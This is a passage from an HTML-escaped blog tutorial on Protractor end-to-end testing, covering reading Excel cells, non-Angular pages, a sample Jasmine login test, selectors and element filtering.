string&quot;&gt;&apos;xlsjs&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Working with workbook&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; workbook &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;readFile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;fileNamePath&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; sheetNamelist &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; workbook&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SheetNames&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; value &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; workbook&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Sheets&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;sheetNamelist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;sheetNumber&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;cellId&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;v&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; value&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;Call function as:&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; email &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;cellFromXLS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;B1&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h3 id=&quot;test-both-angularjs-and-non-angularjs-based-pages&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#test-both-angularjs-and-non-angularjs-based-pages&quot; aria-label=&quot;test both angularjs and non angularjs based pages permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Test both Angular.js and non-Angular.js based pages&lt;/h3&gt; &lt;p&gt;Our use case involves using Protractor for an Angular.js based app, but it works pretty well for non-Angular.js pages as well. Simply set the following flag to true and access the webdriver instance using browser.driver instead of element as shown below :&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token function&quot;&gt;beforeEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ignoreSynchronization &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;For instance, the following code for an angular page:&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;javascript element(by.css(&amp;#39;#elementid&amp;#39;).click();&lt;/code&gt;&lt;/p&gt; &lt;p&gt;would be written as shown below for non angular page:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;findElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;#elementid&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Sounds cool? Now let&apos;s dig deeper in the protractor world.&lt;/p&gt; &lt;h2 id=&quot;a-piece-of-protractor-code&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#a-piece-of-protractor-code&quot; aria-label=&quot;a piece of protractor code permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;A piece of protractor code&lt;/h2&gt; &lt;p&gt;Before we start with the advance functions, let&apos;s have a look at a simple login test case, where we verify that the user should be redirected to a welcome page after login.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;//Jasmine describe statement : Describes the test&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;describe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;APP LOGIN::&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//before Each : This piece of code executes before all it statement&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;beforeEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; ptor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; protractor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getInstance&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; ptor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;https://app.vwo.com&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Jasmine it statement : What &quot;it&quot; will do.&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Verify that the user is logged in&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Delete all cookies&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;manage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;deleteAllCookies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Enter UserName&lt;/span&gt; element&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;username&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sendKeys&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;abc@wingify.com&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Enter Password&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;password&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sendKeys&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Click Submit button&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;.login-form button[type=&quot;submit&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Wait for the current URL to change to welcome&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;wait&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getCurrentUrl&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token regex&quot;&gt;/welcome/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Jasmine expect statement : compare actual and expected value&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getCurrentUrl&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toEqual&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;https://app.vwo.com/#/welcome&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* Write other it blocks */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h4 id=&quot;lets-study-the-code&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#lets-study-the-code&quot; aria-label=&quot;lets study the code permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Let&apos;s study the code:&lt;/h4&gt; &lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Describe&lt;/code&gt; , &lt;code class=&quot;language-text&quot;&gt;it&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;expect&lt;/code&gt; are jasmine framework methods to write the tests easily. Read more about them &lt;a href=&quot;http://jasmine.github.io/1.3/introduction.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;beforeEach&lt;/code&gt; function in the code above executes before all &lt;code class=&quot;language-text&quot;&gt;it&lt;/code&gt; blocks, however, you might not want to execute the code in &lt;code class=&quot;language-text&quot;&gt;beforeEach&lt;/code&gt; for all &lt;code class=&quot;language-text&quot;&gt;it&lt;/code&gt; blocks.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; To control its execution you can use a flag variable as shown in the code below.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;//use pageLoadedStatus flag&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; pageLoadedStatus &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;beforeEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;pageLoadedStatus&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//browser.ignoreSynchronization = true;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; ptor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; protractor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getInstance&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; ptor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;https://app.vwo.com&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; pageLoadedStatus &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;Multiple ways to select elements:&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;css by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;repeater by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;binding by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;xpath&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;Interacting with the DOM:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;element&lt;/code&gt;: returns a single element&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;element.all&lt;/code&gt;: returns a collection of elements. Use &lt;code class=&quot;language-text&quot;&gt;get(index)&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;first()&lt;/code&gt;, and &lt;code class=&quot;language-text&quot;&gt;last()&lt;/code&gt; functions to get a single element out of the collection.&lt;/li&gt; &lt;/ul&gt; &lt;h3 id=&quot;other-awesome-functions&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#other-awesome-functions&quot; aria-label=&quot;other awesome functions permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Other awesome functions&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;filter&lt;/code&gt; : Similar to &lt;code class=&quot;language-text&quot;&gt;get(index)&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;first()&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;last()&lt;/code&gt; functions, &lt;code class=&quot;language-text&quot;&gt;filter&lt;/code&gt; takes a collection of elements and returns a single element. The only difference is that the element can be selected based on the specified condition. This is useful when there is a dynamic/long list of elements having same selector path and you need to get an element using its text or any unique property.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Let&apos;s take this example of clicking on a date from a calendar.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 5px&quot;&gt; &lt;img src=&quot;/images/2015/02/3.png&quot;&gt; &lt;/div&gt; &lt;p&gt;All the dates elements have the same selector. Therefore, define a filter function as :&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token function-variable function&quot;&gt;clickDateByText&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;tileText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;use 